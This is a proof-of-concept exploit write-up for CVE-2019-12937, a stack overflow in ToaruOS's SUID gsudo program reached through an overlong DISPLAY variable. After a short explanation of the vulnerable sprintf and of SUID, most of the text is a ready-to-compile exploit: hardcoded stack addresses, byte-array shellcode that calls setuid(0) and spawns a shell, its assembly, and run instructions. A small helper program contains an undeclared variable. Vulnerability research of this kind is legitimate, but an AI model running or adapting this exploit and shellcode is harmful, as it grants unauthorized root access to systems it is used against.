
Proof-of-concept exploit for CVE-2019-12937: a stack buffer overflow in ToaruOS gsudo allowing local privilege escalation to root through crafted DISPLAY environment variable and shellcode.
ToaruOS is an open-source computer operating system written in C, a hobbyist operating system developed by an undergraduate computer science student at the University of Illinois. ToaruOS runs on POSIX and x86 architectures. Its main features include support for processes and threads, ELF binaries, runtime loadable modules, pipes, various types of TTY devices, a virtual file system, EXT2 file system support, semaphores, etc.
A buffer overflow vulnerability exists in the gsudo's apps/gsudo.c file in ToaruOS versions up to 1.10.9. An attacker can exploit this vulnerability via the DISPLAY environment variable to escalate privileges to root.
Copy the poc.c file to the ToaruOS system, and in the copied directory run:
gcc -o poc poc.c
./poc
In the pex_connect function, sprintf is used to concatenate strings without checking the length of the target parameter. When the target is too long, it causes a stack overflow.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
Where the parameter target is the value of the DISPLAY environment variable.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Connection failed. */
}
......
......
}
The gsudo program calls the yutani_init function. gsudo is a program with SUID privileges, so when gsudo executes, its privileges are root. The overflow above can be used to escalate privileges.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
SUID programs create s and t permissions, allowing ordinary users to temporarily have the privileges of the program owner when executing certain programs.
Below, test the execution process of a SUID program.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
The setuid function sets the identity of the current user. When the parameter is 0, the current process is set to root. After calling setuid, execute the shell program and observe the current user.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] password for akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
In ToaruOS, after the operating system finishes booting, all programs are loaded through fork to exec_elf. The privileges of the program are those of the parent process. When a program with setuid privilege is encountered, the process privilege is set to that of the current file owner.
The overflowed program here is a program with SUID privileges, so using a stack overflow, privilege escalation can be performed.
ToaruOS does not have stack randomization, heap randomization, non-executable stack, etc. These protections are absent, making exploitation quite simple, but there are no debugging tools like gdb, so it still requires some effort.
Control eip via the stack overflow vulnerability to the address of our privilege escalation payload. Code can be executed on the stack, and the stack address is fixed. We place the payload on the stack using the environ variable. The addresses of argv and environ are printed directly.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Result:
argv: 3f00c00c
environ: 3f022010
Set the value of the environment variable, control the eip value to fall between argv and environ. The eip address must not contain the \x00 character. Bypass by filling with Nop instructions.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
In the payload, first execute setuid(0) to set the current process privileges, then execute system("/bin/shh") to return a shell. ToaruOS invokes system functions via int 0x7f. The system call numbers are in syscall_nums.h. setuid corresponds to 24, system corresponds to 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"